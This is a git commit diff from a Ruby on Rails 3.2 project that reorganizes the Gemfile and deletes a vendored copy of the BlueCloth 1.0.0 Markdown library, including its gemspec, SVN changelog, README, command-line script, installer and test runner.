parent
580098eaf1
commit
2d9ef6dd5b
@ -1,38 +1,36 @@
|
||||
source 'https://rubygems.org'
|
||||
|
||||
gem 'rails', '3.2.13'
|
||||
gem 'sqlite3'
|
||||
gem 'json'
|
||||
|
||||
group :assets do
|
||||
gem 'sass-rails', '3.2.6'
|
||||
gem 'coffee-rails', '3.2.2'
|
||||
gem 'uglifier', '2.7.2'
|
||||
end
|
||||
|
||||
gem 'activerecord-postgresql-adapter'
|
||||
gem 'acts_as_list', '0.2.0'
|
||||
gem 'acts_as_paranoid', '0.4.2'
|
||||
gem 'acts_as_versioned',
|
||||
git: 'https://github.com/isoron/acts_as_versioned.git',
|
||||
ref: 'df85fc1e438c18dddf610414b5c8a1ee8a7cefc9'
|
||||
gem 'bluecloth', '1.0.0', path: './vendor/gems/bluecloth'
|
||||
gem 'calendar_helper', '0.2.5'
|
||||
gem 'debugger'
|
||||
gem 'dynamic_form'
|
||||
gem 'haml', '3.1.8'
|
||||
gem 'hpricot', '0.8.6'
|
||||
gem 'icalendar', '1.4.1'
|
||||
gem 'json'
|
||||
gem 'prototype-rails', '3.2.1'
|
||||
gem 'rails', '3.2.13'
|
||||
gem 'rails-i18n', '3.0.0'
|
||||
gem 'redcarpet', '3.3.2'
|
||||
gem 'shoulda', "3.5.0"
|
||||
gem 'sqlite3'
|
||||
gem 'will_paginate', "3.0.4"
|
||||
gem 'rails-i18n', '3.0.0'
|
||||
gem 'debugger'
|
||||
gem 'prototype-rails', '3.2.1'
|
||||
|
||||
gem 'activerecord-postgresql-adapter'
|
||||
group :assets do
|
||||
gem 'sass-rails', '3.2.6'
|
||||
gem 'coffee-rails', '3.2.2'
|
||||
gem 'uglifier', '2.7.2'
|
||||
end
|
||||
|
||||
gem 'ZenTest'
|
||||
gem 'autotest-rails-pure'
|
||||
gem 'minitest'
|
||||
group :test do
|
||||
gem 'simplecov'
|
||||
gem 'turn'
|
||||
gem 'ZenTest'
|
||||
gem 'autotest-rails-pure'
|
||||
gem 'minitest'
|
||||
end
|
||||
|
@ -1,57 +0,0 @@
|
||||
--- !ruby/object:Gem::Specification
|
||||
name: bluecloth
|
||||
version: !ruby/object:Gem::Version
|
||||
version: 1.0.0
|
||||
platform: ruby
|
||||
authors: []
|
||||
|
||||
autorequire:
|
||||
bindir: bin
|
||||
cert_chain: []
|
||||
|
||||
date: 2009-07-16 00:00:00 -03:00
|
||||
default_executable:
|
||||
dependencies: []
|
||||
|
||||
description:
|
||||
email:
|
||||
executables: []
|
||||
|
||||
extensions: []
|
||||
|
||||
extra_rdoc_files: []
|
||||
|
||||
files:
|
||||
- lib
|
||||
- lib/bluecloth.rb
|
||||
has_rdoc: false
|
||||
homepage:
|
||||
post_install_message:
|
||||
rdoc_options: []
|
||||
|
||||
require_paths:
|
||||
- bin
|
||||
- bin
|
||||
- bin
|
||||
- lib
|
||||
required_ruby_version: !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
- - ">="
|
||||
- !ruby/object:Gem::Version
|
||||
version: "0"
|
||||
version:
|
||||
required_rubygems_version: !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
- - ">="
|
||||
- !ruby/object:Gem::Version
|
||||
version: "0"
|
||||
version:
|
||||
requirements: []
|
||||
|
||||
rubyforge_project:
|
||||
rubygems_version: 1.3.1
|
||||
signing_key:
|
||||
specification_version: 2
|
||||
summary:
|
||||
test_files: []
|
||||
|
@ -1,366 +0,0 @@
|
||||
------------------------------------------------------------------------
|
||||
r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
|
||||
|
||||
- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
|
||||
|
||||
- Tracked down and fixed another regexp engine overflow bug; added a new test,
|
||||
datafile, and minimal testcase that illustrates it.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to v1.0.0.
|
||||
------------------------------------------------------------------------
|
||||
r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to v1.0.0.
|
||||
------------------------------------------------------------------------
|
||||
r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to 20040824.
|
||||
------------------------------------------------------------------------
|
||||
r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
|
||||
|
||||
- Added CHANGES.xml to ignore property for root directory.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
|
||||
|
||||
- Brought list of block-level tags up to date with Markdown 1.0's list
|
||||
- Propagated fix for overflow to the other two block-match patterns.
|
||||
- Abstracted list-item patterns out into constants to closer match Markdown's
|
||||
code and to expose them for use in other code.
|
||||
- Fixed indentation of <pre> blocks inside blockquotes.
|
||||
- Added new tests for all of the above.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
|
||||
|
||||
- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
|
||||
<stillflame@FaerieMUD.org> for the fix).
|
||||
- Wrote some additional tests to be sure the block-level html escaper is working
|
||||
after the above fix.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
|
||||
|
||||
- Removed skip of overflow test.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
|
||||
|
||||
- "Fixed" the test case so it overflows again.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Updated to 20040808.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Modified to work from wherever the test is run (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Modified to work from wherever the test is run (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Updated version attribute.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Brought markdown syntax up to date with Markdown 1.0fc1.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Made the require-header work wherever the test is run from (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
|
||||
|
||||
- Brought up to date with Markdown 1.0b7.
|
||||
|
||||
- Ignore list properties on the base and docs directories updated.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
|
||||
|
||||
- Commented out non-functional --output option for now.
|
||||
------------------------------------------------------------------------
|
||||
r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
|
||||
|
||||
- Added test for bug #574.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
|
||||
|
||||
- Test for bug #620 - Unresolved reference-style links doubled the character
|
||||
immediately after them.
|
||||
|
||||
- Added additional test email addresses, including ones that use extended latin
|
||||
charset.
|
||||
|
||||
- Added bug reference to a test.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
|
||||
|
||||
- Fix for bug #620 - Unresolved reference-style links doubled the character
|
||||
immediately after them.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
|
||||
|
||||
- Added tests for bug #568 (Two sets of bold text on one line doesn't render
|
||||
properly). Tests confirmed that two sets of bold text did work, but single
|
||||
characters being bolded does not.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
|
||||
|
||||
- Fixed bug with bolding of single characters (bug #568).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
|
||||
|
||||
- Additional fixes and tests for bug #537.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
|
||||
|
||||
- Added bin/ directory.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
|
||||
|
||||
- Set date.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
|
||||
|
||||
- Added test for Bug #543 (Safe mode does not work when there are no left
|
||||
angle-brackets in the source).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Added test for email address encoding (Bug #537).
|
||||
|
||||
- Added test for bug #541 (Leading line of codeblock with more than one tab
|
||||
width of indent mistakenly unindented).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Fix for bug #543 (Safe mode does not work when there are no left
|
||||
angle-brackets in the source).
|
||||
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Fix for bug #541 (Leading line of codeblock with more than one tab
|
||||
width of indent mistakenly unindented)
|
||||
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
|
||||
|
||||
- Fix for bug #537. Fix suggested by Marek Janukowicz.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Temporary fixes until I have time to integrate SVN stuff.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Version bump.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Brought in line with most-recent release.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Version bump.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
|
||||
|
||||
- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
|
||||
Goizueta for bug reports and fixes.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Test for bugs 524 and 525
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
|
||||
|
||||
- Corrected version
|
||||
------------------------------------------------------------------------
|
||||
r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
- Brought Version up to date.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
|
||||
|
||||
- Updated ignore metadata.
|
||||
------------------------------------------------------------------------
|
||||
r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
|
||||
|
||||
- Changed tests/ pattern to catch all tests.
|
||||
|
||||
- Added CHANGES.
|
||||
|
||||
- Dropped MANIFEST.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
- Added missing dependency check for devel-logger.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
|
||||
|
||||
- Added contributors section to the header.
|
||||
|
||||
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
|
||||
|
||||
- Corrections to RedCloth-compatibility.
|
||||
|
||||
- Removed log from renderstate, as it's an attribute of the string itself.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
|
||||
|
||||
- Added contributors section to the header.
|
||||
|
||||
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
|
||||
|
||||
- Corrections to RedCloth-compatibility.
|
||||
|
||||
- Removed log from renderstate, as it's an attribute of the string itself.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added keywords.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Updated comments/added to-do marker.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Updated ignore list.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added a time() function for timing bits of code.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Changed keyword constants from CVS to SVN keywords.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Changed location of keyword stuff, added URL keyword.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added the rest of the content.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
|
||||
|
||||
- Fixed license in header
|
||||
|
||||
- Fixed error message in exception class with no second argument.
|
||||
|
||||
- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
|
||||
patterns.
|
||||
|
||||
- Fixed code-span scanning to match spans that occur at the beginning of the
|
||||
line.
|
||||
|
||||
- Fixed error in code-span exception case.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Renamed to reflect repurposing.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Converted to bug-testing testcase.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Added some mode code span tests to catch bugs.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
|
||||
|
||||
- Updated dist/install utilities/libs.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
|
||||
|
||||
Removed markdown reference source
|
||||
------------------------------------------------------------------------
|
||||
r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
|
||||
|
||||
Initial checkin
|
@ -1,99 +0,0 @@
|
||||
|
||||
BlueCloth
|
||||
=========
|
||||
|
||||
Version 1.0.0 - 2004/08/24
|
||||
|
||||
Original version by John Gruber <http://daringfireball.net/>.
|
||||
Ruby port by Michael Granger <http://www.deveiate.org/>.
|
||||
|
||||
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
|
||||
tool for web writers. To quote from the project page: Markdown allows you to
|
||||
write using an easy-to-read, easy-to-write plain text format, then convert it to
|
||||
structurally valid XHTML (or HTML).
|
||||
|
||||
It borrows a naming convention and several helpings of interface from
|
||||
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
|
||||
conversion syntax called [Textile][4].
|
||||
|
||||
|
||||
Installation
|
||||
------------
|
||||
|
||||
You can install this module either by running the included `install.rb` script,
|
||||
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
|
||||
|
||||
|
||||
Dependencies
|
||||
------------
|
||||
|
||||
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
|
||||
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
|
||||
versions, and the `logger` library, which is also included in 1.8.x and later.
|
||||
|
||||
|
||||
Example Usage
|
||||
-------------
|
||||
|
||||
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
|
||||
|
||||
bc = BlueCloth::new( str )
|
||||
puts bc.to_html
|
||||
|
||||
This `README` file is an example of Markdown syntax. The sample program
|
||||
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
|
||||
file with Markdown syntax into HTML:
|
||||
|
||||
$ bin/bluecloth README > README.html
|
||||
|
||||
|
||||
Acknowledgements
|
||||
----------------
|
||||
|
||||
This library is a port of the canonical Perl one, and so owes most of its
|
||||
functionality to its author, John Gruber. The bugs in this code are most
|
||||
certainly an artifact of my porting it and not an artifact of the excellent code
|
||||
from which it is derived.
|
||||
|
||||
It also, as mentioned before, borrows its API liberally from RedCloth, both for
|
||||
compatibility's sake, and because I think Why's code is beautiful. His excellent
|
||||
code and peerless prose have been an inspiration to me, and this module is
|
||||
intended as the sincerest flattery.
|
||||
|
||||
Also contributing to any success this module may enjoy are those among my peers
|
||||
who have taken the time to help out, either by submitting patches, testing, or
|
||||
offering suggestions and review:
|
||||
|
||||
* Martin Chase <stillflame@FaerieMUD.org>
|
||||
* Florian Gross <flgr@ccan.de>
|
||||
|
||||
|
||||
Author/Legal
|
||||
------------
|
||||
|
||||
Original version:
|
||||
Copyright (c) 2003-2004 John Gruber
|
||||
<http://daringfireball.net/>
|
||||
All rights reserved.
|
||||
|
||||
Ruby version:
|
||||
Copyright (c) 2004 The FaerieMUD Consortium
|
||||
|
||||
BlueCloth is free software; you can redistribute it and/or modify it under the
|
||||
terms of the GNU General Public License as published by the Free Software
|
||||
Foundation; either version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
|
||||
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
|
||||
[1]: http://daringfireball.net/projects/markdown/
|
||||
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
|
||||
[3]: http://www.whytheluckystiff.net/
|
||||
[4]: http://www.textism.com/tools/textile/
|
||||
|
||||
|
||||
$Id: README 65 2004-08-24 14:56:47Z ged $
|
||||
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
|
@ -1,83 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# = bluecloth
|
||||
#
|
||||
# Format one or more text files with the markdown formatter.
|
||||
#
|
||||
# = Synopsis
|
||||
#
|
||||
# bluecloth [OPTIONS] [FILES]
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
require 'bluecloth'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
DocumentWrapper = %{
|
||||
<html>
|
||||
<head><title>%s</title></head>
|
||||
<body>
|
||||
%s
|
||||
</body>
|
||||
</html>
|
||||
}
|
||||
|
||||
def main
|
||||
fragment = false
|
||||
destination = '.'
|
||||
|
||||
ARGV.options do |oparser|
|
||||
|
||||
oparser.banner = "Usage: #$0 [OPTIONS] FILES"
|
||||
|
||||
# Debug mode
|
||||
oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
|
||||
$DEBUG = true
|
||||
}
|
||||
|
||||
# 'Fragment' mode
|
||||
oparser.on( "--fragment", "-f", TrueClass,
|
||||
"Output HTML fragments instead of whole documents" ) {
|
||||
fragment = true
|
||||
}
|
||||
|
||||
# Output destination
|
||||
#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
|
||||
# "Write output to DESTINATION instead of the current directory" ) {|arg|
|
||||
# destination = arg
|
||||
#}
|
||||
|
||||
oparser.parse!
|
||||
end
|
||||
|
||||
# Filter mode if no arguments
|
||||
ARGV.push( "-" ) if ARGV.empty?
|
||||
|
||||
ARGV.each {|file|
|
||||
if file == '-'
|
||||
contents = $stdin.readlines(nil)
|
||||
else
|
||||
contents = File::readlines( file, nil )
|
||||
end
|
||||
|
||||
bc = BlueCloth::new( contents.join )
|
||||
|
||||
if fragment
|
||||
$stdout.puts bc.to_html
|
||||
else
|
||||
$stdout.puts DocumentWrapper % [ file, bc.to_html ]
|
||||
end
|
||||
}
|
||||
|
||||
rescue => err
|
||||
$stderr.puts "Aborting: Fatal error: %s" % err.message
|
||||
exit 255
|
||||
end
|
||||
|
||||
|
||||
|
||||
main
|
||||
|
@ -1,3 +0,0 @@
|
||||
|
||||
require File.join(File.dirname(__FILE__), 'lib', 'bluecloth')
|
||||
|
@ -1,150 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# BlueCloth Module Install Script
|
||||
# $Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
|
||||
#
|
||||
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
|
||||
#
|
||||
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
require './utils.rb'
|
||||
include UtilityFunctions
|
||||
|
||||
require 'rbconfig'
|
||||
include Config
|
||||
|
||||
require 'find'
|
||||
require 'ftools'
|
||||
|
||||
|
||||
$version = %q$Revision: 1.3 $
|
||||
$rcsId = %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
|
||||
|
||||
# Define required libraries
|
||||
RequiredLibraries = [
|
||||
# libraryname, nice name, RAA URL, Download URL
|
||||
[ 'strscan', "StrScan",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
|
||||
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
|
||||
[ 'logger', "Devel-Logger",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
|
||||
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
|
||||
]
|
||||
|
||||
class Installer
|
||||
|
||||
@@PrunePatterns = [
|
||||
/CVS/,
|
||||
/~$/,
|
||||
%r:(^|/)\.:,
|
||||
/\.tpl$/,
|
||||
]
|
||||
|
||||
def initialize( testing=false )
|
||||
@ftools = (testing) ? self : File
|
||||
end
|
||||
|
||||
### Make the specified dirs (which can be a String or an Array of Strings)
|
||||
### with the specified mode.
|
||||
def makedirs( dirs, mode=0755, verbose=false )
|
||||
dirs = [ dirs ] unless dirs.is_a? Array
|
||||
|
||||
oldumask = File::umask
|
||||
File::umask( 0777 - mode )
|
||||
|
||||
for dir in dirs
|
||||
if @ftools == File
|
||||
File::mkpath( dir, $verbose )
|
||||
else
|
||||
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
|
||||
end
|
||||
end
|
||||
|
||||
File::umask( oldumask )
|
||||
end
|
||||
|
||||
def install( srcfile, dstfile, mode=nil, verbose=false )
|
||||
dstfile = File.catname(srcfile, dstfile)
|
||||
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
|
||||
$stderr.puts " install #{srcfile} -> #{dstfile}"
|
||||
else
|
||||
$stderr.puts " skipping #{dstfile}: unchanged"
|
||||
end
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
def installFiles( src, dstDir, mode=0444, verbose=false )
|
||||
directories = []
|
||||
files = []
|
||||
|
||||
if File.directory?( src )
|
||||
Find.find( src ) {|f|
|
||||
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
|
||||
next if f == src
|
||||
|
||||
if FileTest.directory?( f )
|
||||
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
next
|
||||
|
||||
elsif FileTest.file?( f )
|
||||
files << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
|
||||
else
|
||||
Find.prune
|
||||
end
|
||||
}
|
||||
else
|
||||
files << File.basename( src )
|
||||
src = File.dirname( src )
|
||||
end
|
||||
|
||||
dirs = [ dstDir ]
|
||||
dirs |= directories.collect {|d| File.join(dstDir,d)}
|
||||
makedirs( dirs, 0755, verbose )
|
||||
files.each {|f|
|
||||
srcfile = File.join(src,f)
|
||||
dstfile = File.dirname(File.join( dstDir,f ))
|
||||
|
||||
if verbose
|
||||
if mode
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
|
||||
else
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile}"
|
||||
end
|
||||
end
|
||||
|
||||
@ftools.install( srcfile, dstfile, mode, verbose )
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if $0 == __FILE__
|
||||
header "BlueCloth Installer #$version"
|
||||
|
||||
for lib in RequiredLibraries
|
||||
testForRequiredLibrary( *lib )
|
||||
end
|
||||
|
||||
viewOnly = ARGV.include? '-n'
|
||||
verbose = ARGV.include? '-v'
|
||||
|
||||
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
|
||||
sitelibdir = CONFIG['sitelibdir']
|
||||
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
|
||||
sitearchdir = CONFIG['sitearchdir']
|
||||
|
||||
message "Installing\n"
|
||||
i = Installer.new( viewOnly )
|
||||
i.installFiles( "lib", sitelibdir, 0444, verbose )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,117 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Test suite for BlueCloth classes
|
||||
# $Id$
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
$basedir = File::dirname( __FILE__ )
|
||||
["lib", "tests", "redist"].each do |subdir|
|
||||
$LOAD_PATH.unshift File::join( $basedir, subdir )
|
||||
end
|
||||
|
||||
require "#{$basedir}/utils"
|
||||
include UtilityFunctions
|
||||
}
|
||||
|
||||
verboseOff {
|
||||
require 'bctestcase'
|
||||
require 'find'
|
||||
require 'test/unit'
|
||||
require 'test/unit/testsuite'
|
||||
require 'test/unit/ui/console/testrunner'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
# Turn off output buffering
|
||||
$stderr.sync = $stdout.sync = true
|
||||
$DebugPattern = nil
|
||||
|
||||
# Initialize variables
|
||||
safelevel = 0
|
||||
patterns = []
|
||||
requires = []
|
||||
|
||||
# Parse command-line switches
|
||||
ARGV.options {|oparser|
|
||||
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
|
||||
|
||||
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
|
||||
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
|
||||
if arg
|
||||
$DebugPattern = Regexp::new( arg )
|
||||
puts "Turned debugging on for %p." % $DebugPattern
|
||||
else
|
||||
$DEBUG = true
|
||||
debugMsg "Turned debugging on globally."
|
||||
end
|
